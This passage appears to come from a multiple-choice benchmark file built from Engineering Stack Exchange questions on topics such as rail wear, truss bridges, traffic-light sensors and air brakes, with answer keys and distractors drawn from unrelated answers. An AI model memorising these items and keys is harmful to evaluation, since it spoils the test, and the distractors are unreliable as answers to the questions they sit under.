signal is transmitted on the \"back porch\" between the horizontal blanking pulse and the start of that line's luminance signal. The colorburst signal is used to synchronise the QAM (quadrature amplitude modulation) oscillator which can hold its frequency accurately..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/32376/what-are-the-engineering-principles-for-a-train-to-get-electricity-from-the-rail"} {"id": "engineering_214", "domain": "engineering", "question_title": "Can we change steel properties by application of magnetic field while quenching?", "question_body": "Austenite is non magnetic while $\\alpha$-ferrite and pearlite are magnetic . ( Magnetic properties of pearlite vary as a function of carbon content ) If a strong magnetic field is applied in a particular direction while the steel is being quenched (rather, austenite is being quenched!), would the grain structure change? Is it possible to get superior grain structure and hence tougher steel by application of cyclic magnetic field? My speculation is that, at the eutectoid point while quenching the steel, as low carbon zone of pearlite has more permeability, that zone should align itself to the strong magnetic field by pushing the carbon in orthogonal direction, so grain boundaries should take a different shape. Will it actually happen?", "question_score": 19, "question_tags": ["steel", "process-engineering", "materials", "metallurgy", "magnets"], "choices": {"A": "This will at least depend on the: Rate of Cooling Magnetic field strength Exact composition The magnetic field will alter the microstructure as you can read in, for example, Yudong Zhang, Nathalie Gey, Changshu He, Xiang Zhao, Liang Zuo, Claude Esling, High temperature tempering behaviors in a structural steel under high magnetic field, Acta Materialia, Volume 52, Issue 12, 12 July 2004, Pages 3467-3474, ISSN 1359-6454, http://dx.doi.org/10.1016/j.actamat.2004.03.044 . G.M. Ludtka, R.A. Jaramillo, R.A. Kisner, D.M. Nicholson, J.B. Wilgen, G. Mackiewicz-Ludtka, P.N. Kalu, In situ evidence of enhanced transformation kinetics in a medium carbon steel due to a high magnetic field,...", "B": "I'm going to set aside the potential legal liability aspects of your question. In part because you didn't ask about them, but also because liability will vary based upon jurisdiction. Obviously, consult an attorney familiar with the relevant law. Ethically, I think you've done everything that you're obligated to do. You have contacted the customer and notified them of an unsafe situation or configuration of the product. And you have (strongly) advised them that they need to discontinue using the older product in the unsafe configuration. If the customer remains insistent about using the product in an unsafe manner, you...", "C": "This is an admittedly North American response. MGT In the US, how much traffic goes over a given track in a year is measured in Million Gross Tons (MGT) e.g. 1 MGT = 2 000 000 000 lbs [spaces instead of commas to be world-friendly]. This is a measure of the total weight of cargo and vehicles but not necessarily the number of individual trains. Rail Life The life of a typical railroad rail is between 1300 MGT and 380 MGT depending on if the rail is on a straight (tangent) track or in a curve. There is more friction...", "D": "Short answer : make it thicker. Long answer : The moment of inertia affects the beam's ability to resist flexing. Use one of the many, free, online moment of inertia calculators (like this one ) to see how increasing the height of the beam will have an exponential effect on increasing the stiffness of the beam. And this site helps provide a pictorial view of the load(s) upon a beam depending upon differing configurations, such as where the supports are and where the load is applied. It also provides a calculator to determine the forces involved. Wikipedia has a decent..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/214/can-we-change-steel-properties-by-application-of-magnetic-field-while-quenching"} {"id": "engineering_392", "domain": "engineering", "question_title": "How does a traffic light sense the proximity of vehicles?", "question_body": "Some traffic lights don't operate periodically but instead detect when a car is close by and then turns green. I have heard that they use a magnetic sensor embedded in the road to sense cars as they come near. Is this correct? Do they use other means as well?", "question_score": 19, "question_tags": ["electrical-engineering", "civil-engineering", "traffic-light"], "choices": {"A": "I can understand your concern. This is going to be difficult for two reasons: Finding out the agency that is responsible for the maintenance may be next to impossible for a layperson. Note that I said \"maintenance\", because this might be a different entity than the owner due to agreements. Due to the number of complaints that the public agencies receive, it is very likely that your comment will get ignored. This often has nothing to do with whether or not your concern has merit. Public vs. Private Public agencies will be the easiest to contact. In a city, calling...", "B": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "C": "As others stated before, induction loops are the primary - most reliable method: the coils (usually just several loops of wire) embedded in the road; fed given frequency from a generator, in presence of metal the frequency of the LC circuit changes and the sensor circuitry detects the change of frequency, producing a presence signal. In some cases these may fail to detect bicycles, but they are by far most common as they aren't affected by weather (or more precisely, the detection circuit tunes in to slow changes of frequency caused by weather) and are immune to accidental false positives....", "D": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/392/how-does-a-traffic-light-sense-the-proximity-of-vehicles"} {"id": "engineering_2295", "domain": "engineering", "question_title": "How many train passes can railway tracks endure?", "question_body": "I know that the rubber on car and truck tires wear, and the road concrete wears out. I wondered: While steel is hard and elastic, it still causes friction (interaction between molecules) and therefore abrasion. Let's say we have on average 20-30 wagons with four axles with a full load of 50-60 tons on each wagon and a traction vehicle. How many train passes can a railway rail endure before it must be replaced? What is the equivalent time frame in which this number of passes is achieved on average?", "question_score": 19, "question_tags": ["civil-engineering", "materials", "rail", "transportation"], "choices": {"A": "This is an admittedly North American response. MGT In the US, how much traffic goes over a given track in a year is measured in Million Gross Tons (MGT) e.g. 1 MGT = 2 000 000 000 lbs [spaces instead of commas to be world-friendly]. This is a measure of the total weight of cargo and vehicles but not necessarily the number of individual trains. Rail Life The life of a typical railroad rail is between 1300 MGT and 380 MGT depending on if the rail is on a straight (tangent) track or in a curve. There is more friction...", "B": "Biggest advantage is that when connecting to trailers, there are no bleeding issues. Imagine having to connect hydraulic pipes and remove the air bubbles... As for the amount of air - the compressor and receiving tanks are designed for normal use. However if you wish to accompany AC/DC with the air brakes you will run out. Disc brakes already exist in an airbrake version for trucks - came out over 10 years ago IIRC. But one big difference is that if you lose hydraulics on a car braking system then you lose stopping power (except for handbrake etc) but with...", "C": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual...", "D": "It is a trench shield. It gets placed in a trench after the trench is dug to prevent workers from being hurt or killed in the event of a trench collapse. This picture from GMC trench shield shows a partially collapsed trench with a shield installed that would protect the workers installing the blue brute pipe."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2295/how-many-train-passes-can-railway-tracks-endure"} {"id": "engineering_12984", "domain": "engineering", "question_title": "How should I position two shelf supports for the best distribution of load?", "question_body": "I'd like to mount a shelf on the wall. I have two shelf supports to do so, like this: Relative to the shelf, where do I place the (blue) supports to achieve the best distribution of load?", "question_score": 19, "question_tags": ["mechanical-engineering", "statics"], "choices": {"A": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural...", "B": "Please note : I'm not a building designer by trade, but I have had to investigate related questions for other reasons. I'll let you in on a dirty secret about sanitation lines within buildings - The biggest concern is not about how fast things are flying, it's about maintaining air pressure and providing adequate ventilation. This guide presents a bit of a historical background to tall building design with respect to sanitation system design. This presentation provides some more recent perspective and goes into some of the research that is refining current building standards. The traditional viewpoint is that waste...", "C": "As with all good things, it depends. If you can assume that your supports are totally stiff and that the loading on the shelf will be approximately uniform, then you basically have the following structure: A rectangular cross-section (such as a plank) will behave equally under positive or negative bending moment, so your objective should be to balance both. To do so, you want your main span to be $2\\sqrt2 \\approx 2.83$ times the cantilevers. This is found by calculating the cantilever required to offset half of the bending moment due to a uniform load along a simply supported beam:...", "D": "The torsion constant $J_T$ relates the angle of twist to applied torque via the equation: $$ \\phi = \\frac{TL}{J_T G} $$ where $T$ is the applied torque, $L$ is the length of the member, $G$ is modulus of elasticity in shear, and $J_T$ is the torsional constant. The polar moment of inertia on the other hand, is a measure of the resistance of a cross section to torsion with invariant cross section and no significant warping . The case of a circular rod under torsion is special because of circular symmetry, which means that it does not warp and it's..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/12984/how-should-i-position-two-shelf-supports-for-the-best-distribution-of-load"} {"id": "engineering_22848", "domain": "engineering", "question_title": "Why are truss bridges the way they are?", "question_body": "Just by taking a train ride across my home city I can see truss bridges like the one in above picture everywhere. There are numerous variations, but the most common design seems to be this. But why are they built specifically this way? I can intuitively kind-of see why such a design probably is strong, but is there any kind of in-depth reason? I would be interested to know the answer as much from the physics side of things as possible. Googling didn't help much; I could find information on the different variations and many examples, but none really covered what is it about this design specifically that makes it so popular.", "question_score": 19, "question_tags": ["structural-engineering", "civil-engineering"], "choices": {"A": "Those are counterweights . They work exactly the same as those lead counterbalance weights on the wheels of your automobile. If they left those out, then those connecting rods and bearings would create an out-of-balance condition, and the wheels would vibrate at higher speeds. That could very well damage the wheels. But as a couple of others have nicely pointed out, the violent shaking could derail the train .", "B": "That looks like a Pratt truss . These trusses have diagonals which go from the outer-top nodes to the inner-bottom nodes (i.e. they connect to the top chord on the node furthest from the center of the span, and to the bottom chord on the node closest to the center). This design means that the diagonals are under tension and the verticals are under compression. Another famous design is the Allan truss , which is the exact opposite: the diagonals go from the inner-top nodes to the outer-bottom nodes, which means that the diagonals are under compression and the verticals...", "C": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "D": "Please note : I'm not a building designer by trade, but I have had to investigate related questions for other reasons. I'll let you in on a dirty secret about sanitation lines within buildings - The biggest concern is not about how fast things are flying, it's about maintaining air pressure and providing adequate ventilation. This guide presents a bit of a historical background to tall building design with respect to sanitation system design. This presentation provides some more recent perspective and goes into some of the research that is refining current building standards. The traditional viewpoint is that waste..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/22848/why-are-truss-bridges-the-way-they-are"} {"id": "engineering_28610", "domain": "engineering", "question_title": "What is the purpose of building foundations?", "question_body": "According to many sources, one of the purposes of building's foundations is \"To distribute the weight of the structure over large area so as to avoid over-loading of the soil beneath.\" (Wikipedia) On the Wikipedia page on foundations, there is the following picture: So the foundation seems to consist of some type of \"legs\", with a larger surface area on the bottom. But if the point is to distribute the weight of the building over an area, why not put the bottom of the building in contact with ground? Isn't the bottom of the building itself a much larger contact area than the area the foundation can provide? In the picture, the bottom of the building does seem to rest at ground, so why do we require the foundation to have these large surface area rectangles at the bottom if the whole weight of the building is already resting on ground? Here is another picture from the same page: This seems to be some sort of lodge or a cabin, with stones used as foundation. Here it is evident that the building itself is raised above ground with the stones used as a contact to ground. But now the small stones suffer all the weight of the structure. Wouldn't they be under quite a heavy load over small contact area and possibly sink into the ground? Why not simply have the building's floor, a much larger contact area, rest on the ground?", "question_score": 19, "question_tags": ["structural-engineering", "foundations"], "choices": {"A": "That looks like a Pratt truss . These trusses have diagonals which go from the outer-top nodes to the inner-bottom nodes (i.e. they connect to the top chord on the node furthest from the center of the span, and to the bottom chord on the node closest to the center). This design means that the diagonals are under tension and the verticals are under compression. Another famous design is the Allan truss , which is the exact opposite: the diagonals go from the inner-top nodes to the outer-bottom nodes, which means that the diagonals are under compression and the verticals...", "B": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As...", "C": "Down, Not Out Building foundations don't always have to spread the load out to a larger area. Sometimes the load only needs to be transferred to a stronger (harder) layer. This layer may be deep in the earth and have a softer layer on top of it. Layers Say you want to build a building in an area that has a lot of soft clay at the surface. This clay will not support much of anything (especially when it is wet). Underneath this layer is hard bedrock. You now have two choices: Add a basement to your building so that...", "D": "Biggest advantage is that when connecting to trailers, there are no bleeding issues. Imagine having to connect hydraulic pipes and remove the air bubbles... As for the amount of air - the compressor and receiving tanks are designed for normal use. However if you wish to accompany AC/DC with the air brakes you will run out. Disc brakes already exist in an airbrake version for trucks - came out over 10 years ago IIRC. But one big difference is that if you lose hydraulics on a car braking system then you lose stopping power (except for handbrake etc) but with..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/28610/what-is-the-purpose-of-building-foundations"} {"id": "engineering_14", "domain": "engineering", "question_title": "How are passive houses made in very hot regions (like Saudi Arabia)?", "question_body": "I think, here is the main problem the difference between the internal and the external temperature. For example, in Saudi Arabia, in 50 C, a passive house needed probably much sophisticated planning as in Paris. Compared to the traditional cooling systems, in the second case is enough only to get a cooling system with bigger power. I think, they are much more scalable. Is it anyways possible?", "question_score": 18, "question_tags": ["civil-engineering", "architecture", "cooling"], "choices": {"A": "If I model this as a simply supported beam having load at mid span [...] I suspect that this is where your analysis went awry. First off, you should always model bridges with distributed loads, not a single concentrated load at midspan. The most significant load on a bridge will almost always be its own self-weight; load-trains are heavy but, well, so are bridges. Secondly, I assume you're thinking of the bridge like this: Indeed, we can see here that the bending moment is greater at midspan. However, that's not the bridge we're looking at, it's missing the cantilevers! So...", "B": "If the receiver does not detect the sub-carrier for the \"colour burst\" signal which is transmitted during the horizontal blanking period the receiver switches on the \"colour-killer\" circuit so the set reverts to black and white mode. The colour-burst signal - 8 to 10 cycles of 3.85 MHz - is unlikely to be generated by random noise. Figure 1. The colorburst signal is transmitted on the \"back porch\" between the horizontal blanking pulse and the start of that line's luminance signal. The colorburst signal is used to synchronise the QAM (quadrature amplitude modulation) oscillator which can hold its frequency accurately...", "C": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural...", "D": "A yahkchal is an example of a type of passively cooled building in Iran They utilise a combination of passive evaporative cooling and thick thermally insulating walls in order to keep the interior temperatures low enough. First, wind is directed into underground aquifers known as qanat . They are then cooled due to the low humidity desert air causing water to evaporate. The cooled air then flows through the interior of the yakhchal, cooling the interior. The thick insulating walls (filled with earth and various insulating materials such as straw and feathers) help to insulate the cool interior from the..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/14/how-are-passive-houses-made-in-very-hot-regions-like-saudi-arabia"} {"id": "engineering_137", "domain": "engineering", "question_title": "How does measurement uncertainty combine with tolerances?", "question_body": "Given a tolerance within which your workpiece should be manufactured, say some length should be $10\\pm1$mm. If you determine that your uncertainty in measuring this length is $0.2$mm (at 95%). How should a measurement of $9.1$mm be treated? Clearly there is a significant probability that this value will actually be outside of tolerance. Do you need to decrease you tolerance range based on the uncertainty in your measurement?", "question_score": 18, "question_tags": ["tolerance", "measurements", "statistics"], "choices": {"A": "You need to ensure that even in the worst case scenario, you still meet your measurement spec of $10 \\pm 1\\text{mm}$. If your tolerance is $0.2\\text{mm}$ of your measurement, then a measurement of $11\\text{mm}$, while may look like it meets spec, it doesn't because it could be $11.1\\text{mm}$. So the worst case that still meets your spec is a measurement of $10.9\\text{mm}$, because then with a max tolerance of $0.2\\text{mm}$, you still meet $11\\text{mm}$. With a $0.2\\text{mm}$ tolerance, your $10 \\pm 1\\text{mm}$ spec becomes $10 \\pm 0.9\\text{mm}$. How should a measurement of $9.9\\text{mm}$ be treated? So revised spec is between...", "B": "Answering the question: What are possible types of low cost sensors I can use? There are several types of sensors that can provide millimeter level accuracy. \"Low cost\" is a very relative term, so you'll need to do some shopping around based on your specific budget. Optical sensors- Included here are those of the type you listed, though it's a very cheap sensor meant more to provide a \"yeah something is in front of me, about yay-far-away\". There are also laser sensor systems which can provide millimeter level accuracy. Ultrasonic Sensors- Most ultrasonic sensors have relatively low accuracy; in the...", "C": "Trees increase the turbulence of the air that reaches the turbines. That creates all sorts of uneven, rapidly-shifting loads on the blades and structure. That increases the maintenance costs, decreases availability, decreases the capacity factor, and decreases the life expectancy of the turbine. So, higher costs, lower revenue. One of the ways we measure the impact is the surface roughness coefficient $z_0$. Here are the figures from the book \" Wind Energy - The Facts \". As you can see, forest and woodland has a much higher $z_0$ than open farmland - and that means higher turbulence. Open land also...", "D": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/137/how-does-measurement-uncertainty-combine-with-tolerances"} {"id": "engineering_6230", "domain": "engineering", "question_title": "Can wifi signal reception be improved by opening a door?", "question_body": "A wifi user is in a different room than the router. The computer is having a hard time connecting and receiving the wifi signal. Can the wifi signal from the router to the computer be improved by opening a door to the room where the computer is?", "question_score": 18, "question_tags": ["signal", "wifi"], "choices": {"A": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "B": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,...", "C": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "D": "Can the wifi signal from the router to the computer be improved by opening a door to the room where the computer is? Maybe, but probably not to a noticeable degree. All structures, including doors, impede the wireless signal from the router by some amount. Generally, the amount of impedance added by the door is a negligible amount and would not be sufficient to noticeably improve the quality of the signal. That said, differing types of door construction have differing impacts on the signal. A hollow core, wooden door won't impede the signal all that much at 4 dB. A..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/6230/can-wifi-signal-reception-be-improved-by-opening-a-door"} {"id": "engineering_22072", "domain": "engineering", "question_title": "Fracture patterns in tempered glass", "question_body": "While browsing a local news site, I stumbled upon this picture of a broken bus door. The glass was fractured due to a rock impact. As far as i know there are no heating elements on the window section in the picture. Now, what interests me is the apparent periodicity and structure of the fracture pattern. Are periodic fractures something commonly encountered in tempered glass? Is the mechanism that generates such fractures understood? Is it a consequence of the manufacturing process? Perhaps the way the glass is affixed to the door? Thanks in advance", "question_score": 18, "question_tags": ["glass"], "choices": {"A": "It's an artifact of production - in particular, the construction of the conveyor belt of the machine performing the quenching process. The pattern can be observed through a polarizing filter in the undamaged glass: source and it's a result of the structure of the conveyor belt through which the surface of the glass is cooled to generate the stress that gives it the special properties: source The contact area of the glass with the conveyor is small enough that it doesn't negatively impact the process - all throughout the surface the stress is introduced in sufficient amount, but the amount...", "B": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual...", "C": "Trees increase the turbulence of the air that reaches the turbines. That creates all sorts of uneven, rapidly-shifting loads on the blades and structure. That increases the maintenance costs, decreases availability, decreases the capacity factor, and decreases the life expectancy of the turbine. So, higher costs, lower revenue. One of the ways we measure the impact is the surface roughness coefficient $z_0$. Here are the figures from the book \" Wind Energy - The Facts \". As you can see, forest and woodland has a much higher $z_0$ than open farmland - and that means higher turbulence. Open land also...", "D": "Biggest advantage is that when connecting to trailers, there are no bleeding issues. Imagine having to connect hydraulic pipes and remove the air bubbles... As for the amount of air - the compressor and receiving tanks are designed for normal use. However if you wish to accompany AC/DC with the air brakes you will run out. Disc brakes already exist in an airbrake version for trucks - came out over 10 years ago IIRC. But one big difference is that if you lose hydraulics on a car braking system then you lose stopping power (except for handbrake etc) but with..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/22072/fracture-patterns-in-tempered-glass"} {"id": "engineering_35788", "domain": "engineering", "question_title": "Why do oil tankers heat crude oil?", "question_body": "About all those oil tankers off the coast of California … | Grist The giant ships burn fuel to keep lights on, power equipment, and heat the large volumes of crude oil resting in their tanks. I'm assuming that crude oil can't be heated in steel frac tanks , places other than salt caverns , and salt caverns . While underground caverns may not seem like the best place to store an emergency oil supply, they're actually very secure. For one thing, since they're 2,000 to 4,000 feet (610 to 1,219 meters) underground, the extreme pressure prevents cracks from forming and leading to leaks [source: DOE ]. Also, the natural temperature difference between the top and bottom of each cavern encourages the oil to circulate, which maintains its quality.", "question_score": 18, "question_tags": ["petroleum-engineering"], "choices": {"A": "As Solar Mike's answer says, crude oil is viscous - too viscous to easily pump. Crude oil has a \"pour point:\" the lowest temperature where it will flow under gravity. Heating the crude oil keeps it above the pour point, so it can be pumped. With the large volume of oil in a tanker, it makes more sense to keep it fluid, rather than letting it cool down and then heat it (very slowly) back up). I found one article (PDF) that recommends tankers keep the oil at least 10°C above the pour point to promote circulation within the tank,...", "B": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "C": "Those are counterweights . They work exactly the same as those lead counterbalance weights on the wheels of your automobile. If they left those out, then those connecting rods and bearings would create an out-of-balance condition, and the wheels would vibrate at higher speeds. That could very well damage the wheels. But as a couple of others have nicely pointed out, the violent shaking could derail the train .", "D": "Trees increase the turbulence of the air that reaches the turbines. That creates all sorts of uneven, rapidly-shifting loads on the blades and structure. That increases the maintenance costs, decreases availability, decreases the capacity factor, and decreases the life expectancy of the turbine. So, higher costs, lower revenue. One of the ways we measure the impact is the surface roughness coefficient $z_0$. Here are the figures from the book \" Wind Energy - The Facts \". As you can see, forest and woodland has a much higher $z_0$ than open farmland - and that means higher turbulence. Open land also..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/35788/why-do-oil-tankers-heat-crude-oil"} {"id": "engineering_46922", "domain": "engineering", "question_title": "Why do heavy trucks use air brakes?", "question_body": "I was having a discussion today, which led to the question why do heavy trucks still use air brakes? To my knowledge, it has been used for at least 40 years (I remember that as a kid), and apparently (I was told today but I haven't gotten around to verify it) they are still widely used. From what I remember, one of the things I was cautioned was that if you repeatedly pressed on the air brakes, then after a while the air buffer would empty and it would take time to fill up (thus losing braking capacity). Anyway, I wanted to know what are the benefits and disadvantages of air brakes compared to other technologies, e.g. hydraulic lines, or electrical system, (even KERS systems for more modern electrical vehicles). UPDATE : From the answers I understand that the main issue is reliability and \"technical debt\". I want to push a bit further and understand, what's stopping air brakes from being used in other vehicles. E.g. is it cost, performance, inability to accompany AC/DC drum rhythm?", "question_score": 18, "question_tags": ["mechanical-engineering", "automotive-engineering", "braking"], "choices": {"A": "The turbulence model can make a big difference in your simulation . There are many turbulence models around. It becomes a tough job to select one out of them. There is no perfect turbulence model. It all depends on several parameters like Reynold's number, whether the flow is separated, pressure gradients, boundary layer thikness and so on. In this answer, brief information about a few popular models is given along with pros and cons and potential applications. However, interested users can see this excellent NASA website and references therein to know more about turbulence modeling. A) ONE EQUATION MODEL: 1....", "B": "Short answer : make it thicker. Long answer : The moment of inertia affects the beam's ability to resist flexing. Use one of the many, free, online moment of inertia calculators (like this one ) to see how increasing the height of the beam will have an exponential effect on increasing the stiffness of the beam. And this site helps provide a pictorial view of the load(s) upon a beam depending upon differing configurations, such as where the supports are and where the load is applied. It also provides a calculator to determine the forces involved. Wikipedia has a decent...", "C": "Biggest advantage is that when connecting to trailers, there are no bleeding issues. Imagine having to connect hydraulic pipes and remove the air bubbles... As for the amount of air - the compressor and receiving tanks are designed for normal use. However if you wish to accompany AC/DC with the air brakes you will run out. Disc brakes already exist in an airbrake version for trucks - came out over 10 years ago IIRC. But one big difference is that if you lose hydraulics on a car braking system then you lose stopping power (except for handbrake etc) but with...", "D": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/46922/why-do-heavy-trucks-use-air-brakes"} {"id": "engineering_48467", "domain": "engineering", "question_title": "How did mechanical engineers work before SolidWorks?", "question_body": "I am studying a bunch of stuff related to mechanical engineering and am considering an eventual switch to the field after taking the necessary classes. I'm older, and I took drafting classes in high school and part of college. I'm familiar with the standard drafting procedure with paper, as well as AutoCAD , and these days SolidWorks . It's a shame they don't teach paper drafting much anymore! But I am left with a question I don't have the answer to, nor the resources to answer it. These days it seems most mechanical engineers (at least the ones I know) are really performing the role of both the drafter and the engineer. Prior to 1995 when SolidWorks came about, what was the duty of the mechanical engineer? If we go even further back before CAD was invented, what duties did a mechanical engineer perform?", "question_score": 18, "question_tags": ["cad", "drafting", "software", "engineering-history"], "choices": {"A": "Water meets the low compressibility requirement, but there are many other considerations in the design of a hydraulic system: Boiling point/vapor pressure: If the system warms up during operation, the fluid may boil, which results in high compressibility and thus decreased effectiveness of the hydraulic system. Hydraulic fluid has a higher boiling point than water to help combat this. Related to this is the concept of vapor pressure. Hydraulic systems often involve small orifices, which can cause cavitation (localized boiling). This cavitation has the same effects as boiling and can cause pitting damage to the components near the cavitated region....", "B": "Meet Vladimir Shukhov , a Russian architect who first developed hyperboloid structures. He was born in 1853, died in 1939, and created over 200 hyperboloid structures in the intervening years. He was the reason hyperboloids gained the popularity that they did. His first design, the first hyperbolic structure ever, was the Shukhov Tower in Polibino , pictured here : Another tower also bears the name of Shukhov, and it achieved great fame, too. Shukhov also built the Adziogol Lighthouse . In total, Shukhov designed and built 200 hyperboloid structures. He died in 1939, which could one reason for the decline...", "C": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual...", "D": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/48467/how-did-mechanical-engineers-work-before-solidworks"} {"id": "engineering_3324", "domain": "engineering", "question_title": "Why is it more reliable to use the 